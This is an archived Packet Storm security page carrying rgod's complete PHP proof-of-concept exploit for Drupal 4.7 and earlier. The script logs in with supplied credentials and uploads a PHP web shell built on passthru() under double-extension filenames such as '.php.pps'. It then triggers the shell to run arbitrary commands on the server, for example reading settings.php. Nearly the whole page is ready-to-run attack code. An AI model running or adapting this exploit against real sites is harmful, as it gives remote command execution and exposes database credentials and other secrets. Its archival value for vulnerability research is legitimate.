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Drupal-4.7.txt

🗓️ 26 May 2006 00:00:00Reported by rgodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Drupal version 4.7 attachment mod_mime poc exploit by rgod. It allows arbitrary file upload via attach.php.pps with PHP code for command execution

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Code
`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "Drupal <= 4.7 attachment mod_mime poc exploit\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
  
/*  
this works with a user account with upload rights and with permissions to modify  
stories, however this is only a poc, you can do the same uploading an attachment  
through any module, like this, with double extension, through all modules:  
  
attach.php.pps  
  
with this content:  
*/  
  
$shell=  
'<?php  
if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}  
ini_set("max_execution_time",0);  
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);  
passthru($_GET[cmd]);  
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);  
?>';  
  
/*  
then:  
  
http://[target]/[path]/files/attach.php.pps?cmd=ls%20-la  
  
also, I noticed that from an admin account you can upload .php3 or .php5 files  
*/  
  
if ($argc<6) {  
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to Drupal\r\n";  
echo "user-pass: valid credentials with upload rights\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /drupal/ user password cat ./../sites/default/settings.php\r\n";  
echo "php ".$argv[0]." localhost /drupal/ user password ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / user password ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$user=$argv[3];  
$pass=$argv[4];  
$cmd="";$port=80;$proxy="";  
  
for ($i=5; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
srand(make_seed());  
$anumber = rand(1,99999);  
  
$data ="edit%5Bname%5D=".$user;  
$data.="&edit%5Bpass%5D=".$pass;  
$data.="&edit%5Bform_id%5D=user_login";  
$data.="&op=Log%20in";  
$packet="POST ".$path."?q=user/login&destination=node HTTP/1.0\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Referer: http://".$host.$path."\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Connection: close\r\n\r\n";  
$packet.=$data;  
// echo quick_dump($packet);  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(" ",$temp[2]);  
$cookie=$temp2[0];  
echo "\r\nCookie -> ".$cookie."\r\n\r\n";  
  
  
$ext= array(".php.jpg",".php.jpeg",".php.gif", ".php.png",".php.txt",".php.html",".php.doc",".php.xls",".php.pdf",".php.ppt",".php.pps");  
  
for ($x=0; $x<=count($ext)-1;$x++)  
{  
echo "Trying with ".$ext[$x]." extension...\r\n";  
$d=date("Y-m-d");  
$data='-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[title]"  
  
titolo  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[body]"  
  
corpo  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[format]"  
  
1  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[form_id]"  
  
story_node_form  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[name]"  
  
'.$user.'  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[date]"  
  
'.$d.' 23:59:59 +0000  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[status]"  
  
1  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[promote]"  
  
1  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[comment]"  
  
2  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[path]"  
  
  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[menu][title]"  
  
  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[menu][description]"  
  
  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[menu][pid]"  
  
1  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[menu][path]"  
  
  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[menu][weight]"  
  
0  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[menu][mid]"  
  
0  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[menu][type]"  
  
86  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[upload]"; filename="suntzu'.$anumber.$ext[$x].'"  
Content-Type: image/jpeg  
  
'.$shell.'  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="fileop"  
  
Attach  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[fileop]"  
  
http://'.$host.$path.'?q=upload/js  
-----------------------------7d6381c1b00a2  
Content-Disposition: form-data; name="edit[vid]"  
  
  
-----------------------------7d6381c1b00a2--  
';  
  
$packet="POST ".$p."?q=upload/js HTTP/1.0\r\n";  
$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6381c1b00a2\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Cookie: ".$cookie."\r\n";  
$packet.="Connection: Keep-Alive\r\n\r\n";  
$packet.=$data;  
//echo quick_dump($packet);  
sendpacketii($packet);  
  
$data='-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[title]"  
  
titolo  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[body]"  
  
corpo  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[format]"  
  
1  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[form_id]"  
  
story_node_form  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[name]"  
  
'.$user.'  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[date]"  
  
'.$d.' 23:59:59 +0000  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[status]"  
  
1  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[promote]"  
  
1  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[comment]"  
  
2  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[path]"  
  
  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[menu][title]"  
  
  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[menu][description]"  
  
  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[menu][pid]"  
  
1  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[menu][path]"  
  
  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[menu][weight]"  
  
0  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[menu][mid]"  
  
0  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[menu][type]"  
  
86  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[files][upload_0][list]"  
  
1  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[files][upload_0][description]"  
  
hello.txt  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[upload]"; filename=""  
Content-Type: image/jpeg  
  
  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[fileop]"  
  
http://'.$host.$path.'?q=upload/js  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="edit[vid]"  
  
  
-----------------------------7d6318101b00a2  
Content-Disposition: form-data; name="op"  
  
Submit  
-----------------------------7d6318101b00a2--  
';  
  
$packet="POST ".$p."?q=node/add/story HTTP/1.0\r\n";  
$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cookie: ".$cookie."\r\n";  
$packet.="Connection: Keep-Alive\r\n\r\n";  
$packet.=$data;  
//echo quick_dump($packet);  
sendpacketii($packet);  
  
$packet ="GET ".$p."files/suntzu".$anumber.$ext[$x]."?cmd=".$cmd." HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
//echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"*deli*"))  
{echo "Exploit succeeded...\r\n";  
$temp=explode("*deli*",$html);  
die($temp[1]);  
}  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
  
original url: http://retrogod.altervista.org/drupal_47_xpl.html  
`

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